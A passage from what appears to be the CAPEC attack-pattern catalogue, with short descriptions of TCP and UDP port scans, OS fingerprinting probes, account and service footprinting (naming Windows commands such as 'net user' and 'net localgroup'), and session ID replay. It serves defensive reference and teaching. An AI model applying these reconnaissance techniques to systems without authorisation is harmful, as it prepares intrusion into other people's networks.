An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-303: TCP Xmas Scan
An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-304: TCP Null Scan
An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-305: TCP ACK Scan
An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.
CAPEC-306: TCP Window Scan
An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.
CAPEC-307: TCP RPC Scan
An adversary scans for RPC services listing on a Unix/Linux host.
CAPEC-308: UDP Scan
An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.
CAPEC-309: Network Topology Mapping
An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.
CAPEC-310: Scanning for Vulnerable Software
An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.
CAPEC-312: Active OS Fingerprinting
An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.
CAPEC-313: Passive OS Fingerprinting
An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.
CAPEC-317: IP ID Sequencing Probe
This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.
CAPEC-318: IP 'ID' Echoed Byte-Order Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.
CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.
CAPEC-320: TCP Timestamp Probe
This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.
CAPEC-321: TCP Sequence Number Probe
This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.
CAPEC-322: TCP (ISN) Greatest Common Divisor Probe
This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.
CAPEC-323: TCP (ISN) Counter Rate Probe
This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.
CAPEC-324: TCP (ISN) Sequence Predictability Probe
This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.
CAPEC-325: TCP Congestion Control Flag (ECN) Probe
This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.
CAPEC-326: TCP Initial Window Size Probe
This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.
CAPEC-327: TCP Options Probe
This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.
CAPEC-328: TCP 'RST' Flag Checksum Probe
This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.
CAPEC-329: ICMP Error Message Quoting Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.
CAPEC-330: ICMP Error Message Echoing Integrity Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.
CAPEC-472: Browser Fingerprinting
An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
CAPEC-497: File Discovery
An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.
CAPEC-508: Shoulder Surfing
In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.
CAPEC-573: Process Footprinting
An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.
CAPEC-574: Services Footprinting
An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.
CAPEC-575: Account Footprinting
An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".
CAPEC-576: Group Permission Footprinting
An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".
CAPEC-577: Owner Footprinting
An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-616: Establish Rogue Location
An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.
CAPEC-643: Identify Shared Files/Directories on System
An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.
CAPEC-646: Peripheral Footprinting
Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.
CAPEC-651: Eavesdropping
An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.